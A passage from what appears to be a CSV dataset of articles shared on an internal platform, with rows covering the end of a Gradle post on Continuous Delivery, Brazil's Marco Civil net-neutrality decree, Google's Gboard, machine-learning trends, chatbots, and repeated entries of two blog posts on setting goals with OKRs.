Waterfall died many years ago, and so the rebellious core of Agile didn't produce the expected freedom by itself. One of the tropes that has emerged in the aftermath of Agile has been ""Long Live Agility""-that certainly is a valid perspective. Just because the word ""Agile"" has become meaningless does not mean development teams should stop doing some of the most important things in the Agile manifesto including Ship often Talk to product / business owners Pivot when needed And of course Agile methods are compatible with modern lean product development methodologies and startup product development systems like MVP (Minimum Viable Product). So to eulogize Agile absolutely does not mean to go back to Waterfall, by no means. So how do we move forward as an industry in the aftermath? The paradigm of ""Continuous Delivery (CD)"" seems to be the logical successor to Agile. Continuous Delivery provides an umbrella term that does not specify methodology-and doesn't require much of a manifesto. Everything you need to know is in the title-you just deliver shippable software in as continuous of a way as possible. This allows a team to pull whichever Agile principles and methods needed in order to achieve that goal. This addresses one of the complaints of Agile, which is that it became a religious movement with gurus-and that these highly paid Agile gurus would come with one-size-fits-all solutions for development teams which were hard to realistically fit to real-world development. So what's the material difference then between ""Agile"" and ""Continuous Delivery"" (other than the fact that they govern overlapping but not identical semantic terrain)? The thing that has shifted most materially to support the need for a new term is the tooling. Agile tooling was mostly focused on human productivity and were based on shuffling Trello cards and the like. The age of Continuous Delivery is now being ushered in with a recognition that we are now squarely in the age of DevOps. It's honestly more than DevOps that has changed. We are now more squarely in the age of Microservices, Mobile first, Polyglot, post-Java JVM languages, GitHub, Docker and the emergence of a world being eaten by Software. In this world, Open Source usage dominates, and the speed of change is intense. If you're unable to keep pace with the rate of change of the open source components you depend on, you will be frozen and stuck and unable to ship software properly, a state we at Gradle call ""Build Hell"". So really the tooling is completely different and places emphasis on automation. So tools like Jenkins, Gradle, Docker, Chef, Puppet and Salt enable significant automation and enable very large teams to scale software development at very high velocity. The era is also dominated by test automation. Is there Agility? Most certainly, but the emphasis has shifted to such a great degree that the folks who call themselves ""Agile Gurus"" should evolve or make room for experts from this new era of DevOps and Continuous Delivery. Agile is Dead. Time to move forward. If you're interested to learn more about Continuous Delivery, the Gradle Summit is coming up in Palo Alto California on June 23-24 and is holding a raffle for free tickets . You can learn Continuous Delivery best practices from some of the most elite software teams on the planet including Linkedin, Netflix, Uber, Ticketmaster and many more.",en
1463070227,CONTENT SHARED,1331356827163029243,-1387464358334758758,-5763787188286424853,,,,HTML,http://www.tecmundo.com.br/internet/104717-dilma-regula-marco-civil-acaba-whatsapp-facebook-gratis-celular.htm,Dilma regula Marco Civil e acaba com WhatsApp e Facebook grátis no celular,"A presidente Dilma Rousseff aproveitou o seu último dia de governo antes do afastamento pelo processo de impeachment, , para liberar uma série de decretos com o que podem ser seus últimos atos de governo. E, entre várias ações, Dilma regulamentou e fez novas aplicações ao aprovado pelo Senado nesta quarta-feira (11) Marco Civil da Internet . O principal ponto do decreto é o que fala sobre a neutralidade da rede, garantindo ""a preservação do caráter público e irrestrito do acesso à internet e os fundamentos, princípios e objetivos do uso da internet no País"" e impedindo a priorização de ""pacotes de dados em razão de arranjos comerciais"". Em outras palavras, acordos entre operadoras e serviços estão proibidos, já que o acesso a tipos de conteúdo deve ser igual a todos os usuários, independente da velocidade da conexão ou da região. Isso deve acabar com o ""zero rating"", os pacotes gratuitos de operadoras de telefonia móvel, como as que oferecem acesso a redes sociais ( Facebook e Twitter ) ou serviços como o WhatsApp sem descontar da franquia mensal contratada. Afinal, tal benefício é visto como um privilégio que, apesar de ser bom para os assinantes de um plano, deixa de lado uma grande parcela de usuários. As exceções da neutralidade incluem questões de segurança, como o envio de spam e ataques de negação de serviço (DDoS), além da busca de rotas alternativas de tráfego no caso de congestionamentos. E a internet fixa? Esperava-se que Dilma acabasse com a polêmica das franquias na internet fixa com um decreto que impossibilitaria a limitação da conexão, mas isso não bem isso que aconteceu. ""A discriminação ou a degradação de tráfego"" só podem ocorrer se isso for extremamente necessário para que o serviço continue funcionando, ou em caso de priorização de serviços de emergência (prestadores ou vítimas, no caso de risco de desastre ou estado de calamidade pública). Privacidade e armazenamento Além disso, o decreto indica quais devem ser os procedimentos para guarda e proteção de dados por provedores de conexão e de aplicações que atuam no Brasil. Os serviços devem possuir ""transparência na requisição de dados cadastrais"" e guardar essas informações até a expiração de prazos, enviando somente o que for solicitado pela Justiça em casos excepcionais. Essas solicitações, aliás, só podem ser feitas em caráter individual, impedindo que companhias entreguem dados em massa de seus usuários. A Agência Nacional de Telecomunicações (Anatel) será a responsável pela fiscalização e eventual apuração de infrações. E você, o que acha das propostas do Marco Civil da Internet? Comente no Fórum do TecMundo",pt
1463071769,CONTENT SHARED,-5941854046477982982,-1387464358334758758,-5763787188286424853,,,,HTML,http://googlediscovery.com/2016/05/12/google-lanca-teclado-virtual-para-iphone/,Google lança teclado virtual para iPhone com recursos de pesquisa | Google Discovery,"O Google anunciou hoje (12) o lançamento do Gboard, um teclado virtual para iPhone que traz várias funções extras em relação ao teclado nativo do iOS. Ele permite que você realize pesquisas no Google, incluindo imagens e, claro, GIFs, e anexe o conteúdo encontrado às mensagens. Também é possível pesquisar e enviar emojis mais rapidamente sem precisar alternar entre teclados diferentes. Outro recurso presente no Gboard, similar aos consagrados Swipe e SwiftKey, facilita a digitação rápida com apenas uma mão: você pode deslizar o dedo entre as teclas e o teclado prevê, automaticamente, o que você quer digitar. Infelizmente, o novo teclado não está disponível na App Store brasileira, tampouco suporta o nosso idioma. Se você tem uma conta norte-americana, pode baixá-lo gratuitamente .",pt
1463072389,CONTENT SHARED,5568089143939945595,-1443636648652872475,-5528735230097235953,,,,HTML,http://www.geekwire.com/2016/future-machine-learning-5-trends-watch-around-algorithms-cloud-iot-big-data/,"The future of machine learning: 5 trends to watch around algorithms, cloud, IoT, and big data - GeekWire","Algorithms. Cloud. Internet of Things. Data. No one can predict the future of technology with 100 percent accuracy. But these four pillars are certainly at the forefront of innovation in the years ahead. Speaking at a machine learning and artificial intelligence event hosted by Madrona Venture Group in Seattle on Wednesday, Joseph Sirosh, corporate VP of the Data Group at Microsoft, outlined five trends to watch in a world he described as ""ACID"": Algorithm, Cloud, IoT, and Data. ""We live in a time of great change in computing, where unreasonable effectiveness of algorithms, cloud, IoT, and data are changing how applications are built, period,"" he said. Sirosh offered up numerous examples of how entrepreneurs and companies are utilizing these new technologies to improve business processes, from farmers in Japan tracking cow steps to monitor health more effectively , to companies like Uber and Airbnb that rely heavily on algorithms. He noted that there is an incredible amount of data being produced from sensors, but added that ""data is only usable through analytics."" Here's a recap of the trends that Sirosh discussed: ""Every business is an algorithmic business"" Sirosh said that the manual management of business processes will become ""antiquated"" as algorithms start managing this at scale. ""Everything at scale in this world will be managed by algorithms and data,"" he said. Sirosh added that there's a need for effective platforms for managing these algorithmic businesses. He also talked about the importance of programming languages like ""R."" ""Cloud-hosted intelligence"" While growing up in India, Sirosh said he would buy cloth by the yard and have a tailor measure his body size. He'd then receive fitted clothes a few weeks later. Today, he noted how this isn't common because the mass manufacturing of clothing has become so optimized and cheap. ""Analytics and data science today are like tailoring 40 years ago,"" he said. Sirosh said that as the effort to build and deploy machine learning models becomes easier, we'll have huge app store-like marketplaces for APIs and applications that can be used to build software to help automate more processes. ""Mission critical intelligent apps"" Sirosh used DocuSign as a good example of how machine learning and algorithms are being used to develop ""mission-critical intelligent apps."" He said DocuSign's customers have seen a 93 percent reduction in the time it takes to close a contract. ""Industrial Internet of Things"" Sirosh said that consumer IoT - think FitBit, Microsoft Band, etc. - gets most of the attention today, but industrial IoT should also be noted. ""What happens when 50 billion machines become connected?"" he asked. Everything from hospitals to factories to highways can be improved with IoT technology, Sirosh said. Even football statistics and energy grid management will change with IoT advancements, he added. ""Ultra-scale analytics"" Sirosh talked about the concept of ""data lakes."" ""You can ingest information from multiple data streams in a lake,"" he said. ""But who are the swimmers?"" The swimmers, he said, are tools like Hadoop, Apache Spark, No SQL, and other applications that help crunch numbers and provide actionable insights.",en
1463074480,CONTENT SHARED,5109221095427625188,-3637188778150475975,-356436517321377980,,,,HTML,http://olhardigital.uol.com.br/video/robos-bots-serao-tao-populares-quanto-apps-entenda-a-nova-tendencia/57797,Robôs (bots) serão tão populares quanto apps; entenda a nova tendência,"Se dez anos atrás a gente não havia sequer ouvido falar em aplicativos móveis, talvez daqui a mais dez anos eles já não existam mais. A era dos smartphones popularizou os nossos queridos e inseparáveis aplicativos ou ""apps"", como a turma mais conectada gosta de chamar. Hoje, tem um para cada função. Mas, ao que tudo indica, a tendência é que nossa interação com as máquinas, inclusive com os smartphones, se torne ainda mais natural em um futuro mais próximo do que a gente imagina - e isso pode significar a aposentadoria dos aplicativos - pelo menos como nós os conhecemos hoje em dia. Essa tecnologia que promete revolucionar a interação homem-máquina são os BOTS; robôs virtuais. Google, Facebook, e mais recentemente a Microsoft, já apresentaram suas visões de um futuro totalmente ligado a eles. Invisíveis ao usuário, esses robôs são, na verdade, sistemas complexos de inteligência artificial que conversam - em linguagem natural - com você; seja por comandos de voz ou de texto. Falar em Bots não é algo necessariamente ""novo"". O primeiro teste com robôs virtuais aconteceu há mais de 50 anos. Desenvolvido no MIT, nos Estados Unidos, o Projeto Elisa se baseava em cenários pré-determinados para responder ao usuário como se fosse um médico. Era bastante primitivo, mas funcionava. Tudo isso trouxe muito mais naturalidade e precisão na interação com máquinas. Mas cuidado para não confundir: os Bots são diferentes das assistentes virtuais como a Siri, da Apple, o Google Now ou a Cortana, da Microsoft. Enquanto elas nos acompanham no celular 24 horas por dia, os Bots têm cada um uma certa especialização para executar determinada tarefa. Imagine, por exemplo, chegar em casa e decidir assistir ao próximo capítulo do seu seriado favorito no Netflix. Você tem que executar uma série de comandos até finalmente relaxar no sofá e curtir a história, certo? Um Bot poderia ser programado para realizar todas essas ações automaticamente. Ou até comprar um novo par de sapatos para você na internet; pedir seu jantar antes mesmo de você chegar em casa; avisar que seu voo vai atrasar ou que é hora de troca o óleo do seu carro. Recentemente, em um evento realizado em San Francisco, a Build 2016, a Microsoft apresentou uma nova plataforma que vai permitir que desenvolvedores construam seus próprios robôs tão facilmente como hoje criam seus aplicativos. Pode ter certeza: essa tendência vai simplificar a nossa interação com as máquinas; e estamos falando de qualquer uma: da TV ao smartphone; do caixa eletrônico ao carro conectado. Sua vida não será mais a mesma depois da chegada dos Bots. E você acompanha essa evolução, passo a passo, aqui no Olhar Digital.",pt
1463075986,CONTENT SHARED,9033884391004475493,-3390049372067052505,-1052427605682946753,,,,HTML,http://eleganthack.com/the-art-of-the-okr/,The Art of the OKR,"I wrote a book on using OKRs called Radical Focus: Achieving Your Most Important Goals with Objectives and Key Results Get it on Amazon or Gumroad As well, I run OKR workshops to get you started if you want to adopt this powerful technique. Contact me. Cwodtke eleganthack.com The OKR approach to setting goals has been used at Google , Linkedin, Zynga, General Assembly and beyond and is spreading like wildfire across successful Silicon Valley companies. The companies have adopted the approach are growing like weeds. OKRs provide focus, united the teams behind a single strategy, and makes all goals into stretch goals. If want to get your entire company to execute like the hounds of hell are behind them and the gates of Valhalla are open before them, try the OKR approach out. OKR stands for Objectives and Key Results . The form of the OKR has been more or less standardized. The Objective is qualitative, and the KR's (most often three) are quantitative. They are used to focus a group or individual around a bold goal. The objective sets a goal for a set period of time, usually a quarter. The key results tell you if the objective has been met by the end of the time. Before you set OKRs, it is critical your company have a mission. Without a sense of purpose AND a scope to accomplish it, anything you do is equally ok. I've written a bit on this in the North Star post. But once you have a mission you a start attacking it in a methodical way. We do that by setting an objective. Objectives Your objective is a single sentence that is Qualitative and Inspirational The objective is designed to get people jumping out of bed in the morning with excitement. And while CEO's and VC's may jump out of bed in the morning with joy over a 3% gain in conversion, most mere mortals get excited by a sense of meaning and progress. Use the language of your team. If they want to pwn it or kill it, use that wording. Time Bound e.g. doable in a month, a quarter. You want it to be a clear sprint toward a goal. If it takes a year, your objective may be strategy or maybe even a mission. Actionable by the Team I ndependently This is less a problem for start-ups, but bigger companies often struggle because of interdependence. Your Objective has to be truly yours, and you can't have the excuse of ""marketing didn't market it."" For example, some good objectives: Pwn the direct to business coffee retail market in the south bay. Launch an Awesome MVP. Transform Palo Alto's Coupon-Using habits. Close a round that lets us kill it next quarter. and some poor objectives: Sales numbers up 30%. Double users. Raise a series B of 5M. Why are those bad objectives bad? Probably because they are actually key results. Key Results Key results take all that inspirational language and quantifies it. You create them by asking a simple question ""how would we know if we met our objective?"" This causes you define what you mean by ""awesome"" ""kill it"" or ""pwn."" Typically you have three key results. Metrics can be based on That last one can throw people. It seems hard to measure quality. But with tools like NPS*, it can be done. With KRs you can balance forces like growth and performance, or revenue and quality by making sure you have the potentially opposing forces represented. ""Launch an Awesome MVP"" might have KR's of 40% of users come back 2X in one week Recommendation score of 8 15% conversion Notice how hard those are? KRs Should be Difficult, not Impossible One great way to do this is to set a confidence level of five of ten on the OKR. A confidence level of one means ""never gonna happen my friend."" A confidence level of ten is also known as sandbagging. You are looking for a sweet spot where you are pushing yourself and your team to do bigger things, and where you have a 50/50 shot of failing. Take a look at your KRs. if you are getting a funny little feeling in the pit of your stomach saying ""It would take a miracle to hit all three of these..."" then you are probably setting them correctly. If you look at them and think ""we're doomed"" you've set them too hard. If you look them and think, ""I can do that with some hard work"" they are too easy. What Makes OKRs Work? OKRs Cascade The company should set a OKR, and then each team should determine how their OKR leads to the company's successful OKR. They can focus on a single key result or try to support the entire set. For example, engineering might decide satisfication is tightly connected with speed (and they'd be right.) So set an OKR like Performance Upon Launch Equivalent to an Established Company 99.8% uptime <1 second response time Instantaneous perceived load time (measure by survey, 90% users say page loaded ""immediately"") (I'm not an engineer so please do not mock my KR's too hard) As you can imagine, some teams like product management can easily align their OKRs with the company OKRS, while others may have to dig a little deeply to make sure they are supporting the company goal. Much of the value in OKRs comes from the conversations on what matters, how it will be measured and what it means for the teams who are used to working from their own standards, apart from the business goals. Customer service, design and engineering often have to work a little harder to find meaningful OKRs that will move the business goal forward. But it's worth doing. Can customer service upsell disgruntled customers to a better plan? Can design crate an onboarding flow that improves retention? Can engineer increase satisfaction with a better recommendations algorithm? No department can be an island. As well, each individual should set individual OKRs that reflect both personal growth and support the company's goals. If the company's OKRs is around aquistion, a product manager might decide she wants to ""Get great at sales."" She then might chose KRs of completing sales training with a high score as well as improving the conversation rate of the product she runs. Individual OKRs are about becoming better at your job, as well as helping your product get better. It's also a gift to managers struggling with a difficult employee. In the Individual OKR setting process, she can work with that person to set goals that correct those problems before they blossom into full disciplinary actions. By setting measurable KRs, she can avoid accusations of personal bias if things do not improve. OKRs Are Part of Your Regular Rhythm When people fail, it's often because they set OKRs at the beginning of the quarter, and then forget about them until the end of the quarter. In between you are barraged by teammate requests, the CEO sending you articles, customer requests... there are always 101 interesting things to spend your time on that do not lead to success. I highly recommend baking your OKRs into your weekly team meetings (if you have them) and your weekly status emails . Adjust your confidence levels every single week. Have discussions about why they are going up or down. Do Not Change OKRs halfway through your bounded time period. Suck it up and either fail or blow past them, and use that learning to set them better next time. No team gets OKRs perfect the first time. You are aiming to achieve 1-2 of the three KRs for you objective. As well, changing them dilutes focus, and keeping teams focused is the entire point of the OKR. Some companies have two or three OKRS, but I recommend starting (and perhaps staying with) only one company OKR, and one supporting OKRs set per team. Get Ready to Fail... BIG! Let's be honest: we hate to fail. Everyone in the valley gives lip service to failure, but really we still don't like it. But OKRs aren't just about hitting targets but about learning what you are really capable of. They are there to push you to do better. And honestly, if you missed the KR of 15% conversion but got 10%, are you heart broken? It's a great metric, and you've learned a ton about what works and what doesn't. Compare that to the goal you thought you could make, maybe 2% conversion because you'd been reading the 80/20 articles. If you shoot for the moon, you may not make it but it's a hell of a view. Buy Radical Focus: Achieving Your Most Important Goals with Objectives and Key Results Watch a talk on OKRs in action My posts on OKRs and Execution Objectives and Key Results are a tested and powerful way to accelerate your company's growth after you've found product market fit, or to focus the search as you explore. I recommend them highly for anyone who seeks to accomplish extraordinary things. Slides In a future post, I'll answer some commonly asked questions about OKR's. Feel free to ask your own in the comments. ...and others posts on OKRs High Output Management by Andy Grove How Google sets Goals: OKRs FOOTNOTES! * an approach originally laid out in The One Number You Need to Grow , NPS has been turned into a highly effective measurement of perceived quality. Startups, the short version is ask one question: How likely are you to recommend this to friends/family/colleagues on a scale from 1-10. if they say 9 or 10 you're doing well. If they say 7 or 8 they aren't talking. and if it's less, they are probably badmouthing you.",en
1463076447,CONTENT SHARED,4315784099325221836,-3390049372067052505,-1052427605682946753,,,,HTML,http://tins.rklau.com/2013/05/how-google-sets-goals-okrs.html,tins ::: Rick Klau's weblog,"On the day Google's acquisition of FeedBurner closed in 2007, it was also the first day of a new quarter at Google. My new manager at Google asked me to draft my OKRs for him to review. I had no idea what he was talking about. I've now gone through the process of setting my Objectives and Key Results (OKRs) 24 times, and each time I marvel at what an effective mechanism they are for focusing my effort as well as aligning my work with the company's objectives. Last fall, I led a workshop about OKRs at the Startup Lab, which we're making public today. John Doerr originally presented OKRs to Google's leadership in 1999 when Google was less than a year old, and they've been in use ever since. In the video, I present a portion of John's original deck, then lay out how we've implemented them at Google over the years. I also shared a few of my OKRs from my time as a Product Manager on Blogger, and answered some questions from the employees at our portfolio companies who were present for the workshop. Though the video goes into more detail, here are a few keys to what make OKRs work at Google: Objectives are ambitious , and should feel somewhat uncomfortable Key Results are measurable ; they should be easy to grade with a number (at Google we use a 0 - 1.0 scale to grade each key result at the end of a quarter) OKRs are public ; everyone in the company should be able to see what everyone else is working on (and how they did in the past) The ""sweet spot"" for an OKR grade is .6 - .7 ; if someone consistently gets 1.0, their OKRs aren't ambitious enough. Low grades shouldn't be punished ; see them as data to help refine the next quarter's OKRs. One comment: in talking recently with one portfolio company who's implemented OKRs, I realized that I should have been more emphatic in pointing out that OKRs are not synonymous with employee evaluations . OKRs are about the company's goals and how each employee contributes to those goals. Performance evaluations - which are entirely about evaluating how an employee performed in a given period - should be independent from their OKRs. We'll cover employee evaluations in an upcoming workshop. About the Startup Lab workshops Since its inception, the Google Ventures Startup Lab has held more than sixty workshops. These sessions are open to every employee of our 160+ portfolio companies and are held on a variety of topics: everything from privacy to Javascript testing to business development. Speakers are drawn from experts at Google and beyond. More than 95% of our portfolio companies have attended at least one workshop, and our recorded talks have been viewed thousands of times. We began releasing public versions of select workshops to share with the broader entrepreneurial community, and will release new videos several times a month.",en
1463076574,CONTENT REMOVED,4315784099325221836,-3390049372067052505,-1052427605682946753,,,,HTML,http://tins.rklau.com/2013/05/how-google-sets-goals-okrs.html,tins ::: Rick Klau's weblog,"On the day Google's acquisition of FeedBurner closed in 2007, it was also the first day of a new quarter at Google. My new manager at Google asked me to draft my OKRs for him to review. I had no idea what he was talking about. I've now gone through the process of setting my Objectives and Key Results (OKRs) 24 times, and each time I marvel at what an effective mechanism they are for focusing my effort as well as aligning my work with the company's objectives. Last fall, I led a workshop about OKRs at the Startup Lab, which we're making public today. John Doerr originally presented OKRs to Google's leadership in 1999 when Google was less than a year old, and they've been in use ever since. In the video, I present a portion of John's original deck, then lay out how we've implemented them at Google over the years. I also shared a few of my OKRs from my time as a Product Manager on Blogger, and answered some questions from the employees at our portfolio companies who were present for the workshop. Though the video goes into more detail, here are a few keys to what make OKRs work at Google: Objectives are ambitious , and should feel somewhat uncomfortable Key Results are measurable ; they should be easy to grade with a number (at Google we use a 0 - 1.0 scale to grade each key result at the end of a quarter) OKRs are public ; everyone in the company should be able to see what everyone else is working on (and how they did in the past) The ""sweet spot"" for an OKR grade is .6 - .7 ; if someone consistently gets 1.0, their OKRs aren't ambitious enough. Low grades shouldn't be punished ; see them as data to help refine the next quarter's OKRs. One comment: in talking recently with one portfolio company who's implemented OKRs, I realized that I should have been more emphatic in pointing out that OKRs are not synonymous with employee evaluations . OKRs are about the company's goals and how each employee contributes to those goals. Performance evaluations - which are entirely about evaluating how an employee performed in a given period - should be independent from their OKRs. We'll cover employee evaluations in an upcoming workshop. About the Startup Lab workshops Since its inception, the Google Ventures Startup Lab has held more than sixty workshops. These sessions are open to every employee of our 160+ portfolio companies and are held on a variety of topics: everything from privacy to Javascript testing to business development. Speakers are drawn from experts at Google and beyond. More than 95% of our portfolio companies have attended at least one workshop, and our recorded talks have been viewed thousands of times. We began releasing public versions of select workshops to share with the broader entrepreneurial community, and will release new videos several times a month.",en
1463076678,CONTENT SHARED,-3114161754347804356,-3390049372067052505,-1052427605682946753,,,,HTML,https://library.gv.com/how-google-sets-goals-okrs-a1f69b0b72c7?gi=cad1c7471c86,How Google sets goals: OKRs - GV Library,"How Google sets goals: OKRs On the day Google's acquisition of FeedBurner closed in 2007, it was also the first day of a new quarter at Google. My new manager at Google asked me to draft my OKRs for him to review. I had no idea what he was talking about. I've now gone through the process of setting my Objectives and Key Results (OKRs) 24 times, and each time I marvel at what an effective mechanism they are for focusing my effort as well as aligning my work with the company's objectives. Last fall, I led a workshop about OKRs at the Startup Lab, which we're making public today. John Doerr originally presented OKRs to Google's leadership in 1999 when Google was less than a year old, and they've been in use ever since. In the video, I present a portion of John's original deck, then lay out how we've implemented them at Google over the years. I also shared a few of my OKRs from my time as a Product Manager on Blogger, and answered some questions from the employees at our portfolio companies who were present for the workshop. Though the video goes into more detail, here are a few keys to what make OKRs work at Google: Objectives are ambitious , and should feel somewhat uncomfortable Key Results are measurable ; they should be easy to grade with a number (at Google we use a 0-1.0 scale to grade each key result at the end of a quarter) OKRs are public ; everyone in the company should be able to see what everyone else is working on (and how they did in the past) The ""sweet spot"" for an OKR grade is .6 - .7 ; if someone consistently gets 1.0, their OKRs aren't ambitious enough. Low grades shouldn't be punished ; see them as data to help refine the next quarter's OKRs. One comment: in talking recently with one portfolio company who's implemented OKRs, I realized that I should have been more emphatic in pointing out that OKRs are not synonymous with employee evaluations . OKRs are about the company's goals and how each employee contributes to those goals. Performance evaluations - which are entirely about evaluating how an employee performed in a given period - should be independent from their OKRs. We'll cover employee evaluations in an upcoming workshop.",en
1463076997,CONTENT REMOVED,-3114161754347804356,-3390049372067052505,-1052427605682946753,,,,HTML,https://library.gv.com/how-google-sets-goals-okrs-a1f69b0b72c7?gi=cad1c7471c86,How Google sets goals: OKRs - GV Library,"How Google sets goals: OKRs On the day Google's acquisition of FeedBurner closed in 2007, it was also the first day of a new quarter at Google. My new manager at Google asked me to draft my OKRs for him to review. I had no idea what he was talking about. I've now gone through the process of setting my Objectives and Key Results (OKRs) 24 times, and each time I marvel at what an effective mechanism they are for focusing my effort as well as aligning my work with the company's objectives. Last fall, I led a workshop about OKRs at the Startup Lab, which we're making public today. John Doerr originally presented OKRs to Google's leadership in 1999 when Google was less than a year old, and they've been in use ever since. In the video, I present a portion of John's original deck, then lay out how we've implemented them at Google over the years. I also shared a few of my OKRs from my time as a Product Manager on Blogger, and answered some questions from the employees at our portfolio companies who were present for the workshop. Though the video goes into more detail, here are a few keys to what make OKRs work at Google: Objectives are ambitious , and should feel somewhat uncomfortable Key Results are measurable ; they should be easy to grade with a number (at Google we use a 0-1.0 scale to grade each key result at the end of a quarter) OKRs are public ; everyone in the company should be able to see what everyone else is working on (and how they did in the past) The ""sweet spot"" for an OKR grade is .6 - .7 ; if someone consistently gets 1.0, their OKRs aren't ambitious enough. Low grades shouldn't be punished ; see them as data to help refine the next quarter's OKRs. One comment: in talking recently with one portfolio company who's implemented OKRs, I realized that I should have been more emphatic in pointing out that OKRs are not synonymous with employee evaluations . OKRs are about the company's goals and how each employee contributes to those goals. Performance evaluations - which are entirely about evaluating how an employee performed in a given period - should be independent from their OKRs. We'll cover employee evaluations in an upcoming workshop.",en
1463077017,CONTENT REMOVED,9033884391004475493,-3390049372067052505,-1052427605682946753,,,,HTML,http://eleganthack.com/the-art-of-the-okr/,The Art of the OKR,"I wrote a book on using OKRs called Radical Focus: Achieving Your Most Important Goals with Objectives and Key Results Get it on Amazon or Gumroad As well, I run OKR workshops to get you started if you want to adopt this powerful technique. Contact me. Cwodtke eleganthack.com The OKR approach to setting goals has been used at Google , Linkedin, Zynga, General Assembly and beyond and is spreading like wildfire across successful Silicon Valley companies. The companies have adopted the approach are growing like weeds. OKRs provide focus, united the teams behind a single strategy, and makes all goals into stretch goals. If want to get your entire company to execute like the hounds of hell are behind them and the gates of Valhalla are open before them, try the OKR approach out. OKR stands for Objectives and Key Results . The form of the OKR has been more or less standardized. The Objective is qualitative, and the KR's (most often three) are quantitative. They are used to focus a group or individual around a bold goal. The objective sets a goal for a set period of time, usually a quarter. The key results tell you if the objective has been met by the end of the time. Before you set OKRs, it is critical your company have a mission. Without a sense of purpose AND a scope to accomplish it, anything you do is equally ok. I've written a bit on this in the North Star post. But once you have a mission you a start attacking it in a methodical way. We do that by setting an objective. Objectives Your objective is a single sentence that is Qualitative and Inspirational The objective is designed to get people jumping out of bed in the morning with excitement. And while CEO's and VC's may jump out of bed in the morning with joy over a 3% gain in conversion, most mere mortals get excited by a sense of meaning and progress. Use the language of your team. If they want to pwn it or kill it, use that wording. Time Bound e.g. doable in a month, a quarter. You want it to be a clear sprint toward a goal. If it takes a year, your objective may be strategy or maybe even a mission. Actionable by the Team I ndependently This is less a problem for start-ups, but bigger companies often struggle because of interdependence. Your Objective has to be truly yours, and you can't have the excuse of ""marketing didn't market it."" For example, some good objectives: Pwn the direct to business coffee retail market in the south bay. Launch an Awesome MVP. Transform Palo Alto's Coupon-Using habits. Close a round that lets us kill it next quarter. and some poor objectives: Sales numbers up 30%. Double users. Raise a series B of 5M. Why are those bad objectives bad? Probably because they are actually key results. Key Results Key results take all that inspirational language and quantifies it. You create them by asking a simple question ""how would we know if we met our objective?"" This causes you define what you mean by ""awesome"" ""kill it"" or ""pwn."" Typically you have three key results. Metrics can be based on That last one can throw people. It seems hard to measure quality. But with tools like NPS*, it can be done. With KRs you can balance forces like growth and performance, or revenue and quality by making sure you have the potentially opposing forces represented. ""Launch an Awesome MVP"" might have KR's of 40% of users come back 2X in one week Recommendation score of 8 15% conversion Notice how hard those are? KRs Should be Difficult, not Impossible One great way to do this is to set a confidence level of five of ten on the OKR. A confidence level of one means ""never gonna happen my friend."" A confidence level of ten is also known as sandbagging. You are looking for a sweet spot where you are pushing yourself and your team to do bigger things, and where you have a 50/50 shot of failing. Take a look at your KRs. if you are getting a funny little feeling in the pit of your stomach saying ""It would take a miracle to hit all three of these..."" then you are probably setting them correctly. If you look at them and think ""we're doomed"" you've set them too hard. If you look them and think, ""I can do that with some hard work"" they are too easy. What Makes OKRs Work? OKRs Cascade The company should set a OKR, and then each team should determine how their OKR leads to the company's successful OKR. They can focus on a single key result or try to support the entire set. For example, engineering might decide satisfication is tightly connected with speed (and they'd be right.) So set an OKR like Performance Upon Launch Equivalent to an Established Company 99.8% uptime <1 second response time Instantaneous perceived load time (measure by survey, 90% users say page loaded ""immediately"") (I'm not an engineer so please do not mock my KR's too hard) As you can imagine, some teams like product management can easily align their OKRs with the company OKRS, while others may have to dig a little deeply to make sure they are supporting the company goal. Much of the value in OKRs comes from the conversations on what matters, how it will be measured and what it means for the teams who are used to working from their own standards, apart from the business goals. Customer service, design and engineering often have to work a little harder to find meaningful OKRs that will move the business goal forward. But it's worth doing. Can customer service upsell disgruntled customers to a better plan? Can design crate an onboarding flow that improves retention? Can engineer increase satisfaction with a better recommendations algorithm? No department can be an island. As well, each individual should set individual OKRs that reflect both personal growth and support the company's goals. If the company's OKRs is around aquistion, a product manager might decide she wants to ""Get great at sales."" She then might chose KRs of completing sales training with a high score as well as improving the conversation rate of the product she runs. Individual OKRs are about becoming better at your job, as well as helping your product get better. It's also a gift to managers struggling with a difficult employee. In the Individual OKR setting process, she can work with that person to set goals that correct those problems before they blossom into full disciplinary actions. By setting measurable KRs, she can avoid accusations of personal bias if things do not improve. OKRs Are Part of Your Regular Rhythm When people fail, it's often because they set OKRs at the beginning of the quarter, and then forget about them until the end of the quarter. In between you are barraged by teammate requests, the CEO sending you articles, customer requests... there are always 101 interesting things to spend your time on that do not lead to success. I highly recommend baking your OKRs into your weekly team meetings (if you have them) and your weekly status emails . Adjust your confidence levels every single week. Have discussions about why they are going up or down. Do Not Change OKRs halfway through your bounded time period. Suck it up and either fail or blow past them, and use that learning to set them better next time. No team gets OKRs perfect the first time. You are aiming to achieve 1-2 of the three KRs for you objective. As well, changing them dilutes focus, and keeping teams focused is the entire point of the OKR. Some companies have two or three OKRS, but I recommend starting (and perhaps staying with) only one company OKR, and one supporting OKRs set per team. Get Ready to Fail... BIG! Let's be honest: we hate to fail. Everyone in the valley gives lip service to failure, but really we still don't like it. But OKRs aren't just about hitting targets but about learning what you are really capable of. They are there to push you to do better. And honestly, if you missed the KR of 15% conversion but got 10%, are you heart broken? It's a great metric, and you've learned a ton about what works and what doesn't. Compare that to the goal you thought you could make, maybe 2% conversion because you'd been reading the 80/20 articles. If you shoot for the moon, you may not make it but it's a hell of a view. Buy Radical Focus: Achieving Your Most Important Goals with Objectives and Key Results Watch a talk on OKRs in action My posts on OKRs and Execution Objectives and Key Results are a tested and powerful way to accelerate your company's growth after you've found product market fit, or to focus the search as you explore. I recommend them highly for anyone who seeks to accomplish extraordinary things. Slides In a future post, I'll answer some commonly asked questions about OKR's. Feel free to ask your own in the comments. ...and others posts on OKRs High Output Management by Andy Grove How Google sets Goals: OKRs FOOTNOTES! * an approach originally laid out in The One Number You Need to Grow , NPS has been turned into a highly effective measurement of perceived quality. Startups, the short version is ask one question: How likely are you to recommend this to friends/family/colleagues on a scale from 1-10. if they say 9 or 10 you're doing well. If they say 7 or 8 they aren't talking. and if it's less, they are probably badmouthing you.",en
